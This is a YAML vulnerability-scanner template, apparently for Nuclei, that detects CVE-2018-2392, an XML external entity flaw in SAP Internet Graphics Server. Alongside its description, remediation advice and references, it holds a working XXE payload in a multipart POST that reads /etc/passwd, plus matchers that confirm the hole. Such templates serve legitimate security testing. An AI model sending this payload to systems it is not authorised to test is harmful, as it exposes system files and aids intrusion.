id: CVE-2018-2392

info:
  name: SAP Internet Graphics Server (IGS) - XML External Entity Injection
  author: _generic_human_
  severity: high
  description: |
    SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XML external entity injection (XXE) vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when submitting a POST request to the XMLCHART page to generate a new chart.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or a complete system compromise.
  remediation: |
    Apply the latest security patches and updates provided by SAP to mitigate this vulnerability. Additionally, ensure that the SAP Internet Graphics Server (IGS) is not exposed to untrusted networks or the internet.
  reference:
    - https://launchpad.support.sap.com/#/notes/2525222
    - https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/
    - https://www.rapid7.com/db/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe/
    - https://troopers.de/troopers18/agenda/3r38lr/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2018-2392
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2018-2392
    cwe-id: CWE-611
    epss-score: 0.86102
    epss-percentile: 0.99356
    cpe: cpe:2.3:a:sap:internet_graphics_server:7.20:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: internet_graphics_server
  tags: cve,cve2018,sap,igs,xxe,xmlchart,msf,intrusive

http:
  - raw:
      - |
        POST /XMLCHART HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{randstr_1}}

        --{{randstr_1}}
        Content-Disposition: form-data; name="{{randstr_2}}"; filename="{{randstr_3}}.xml"
        Content-Type: application/xml

        <?xml version='1.0' encoding='UTF-8'?>
            <ChartData>
              <Categories>
                <Category>ALttP</Category>
              </Categories>
              <Series label="{{randstr_4}}">
                <Point>
                  <Value type="y">12345</Value>
                </Point>
              </Series>
            </ChartData>
        --{{randstr_1}}
        Content-Disposition: form-data; name="{{randstr_5}}"; filename="{{randstr_6}}.xml"
        Content-Type: application/xml

        <?xml version='1.0' encoding='UTF-8'?>
            <!DOCTYPE Extension [<!ENTITY xxe SYSTEM "/etc/passwd">]>
            <SAPChartCustomizing version="1.1">
              <Elements>
                <ChartElements>
                  <Title>
                    <Extension>&xxe;</Extension>
                  </Title>
                </ChartElements>
              </Elements>
            </SAPChartCustomizing>
        --{{randstr_1}}--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - Picture
          - Info
          - /output/
        condition: and

      - type: word
        part: body
        words:
          - ImageMap
          - Errors
        condition: or

      - type: word
        part: header
        words:
          - text/html
          - SAP Internet Graphics Server
        condition: and

      - type: status
        status:
          - 200

# file name - /etc/passwd
# digest: 490a00463044022030be93d2f5f1675ecd6325fa6cb0366f97a76f9793d9a501ee5eb0d77c69369f022079a7d7e9e5b8cef3f6a2c07963ed31e315b14bd904db0d000d158d3d8f5344bf:922c64590222798bb761d5b6d8e72950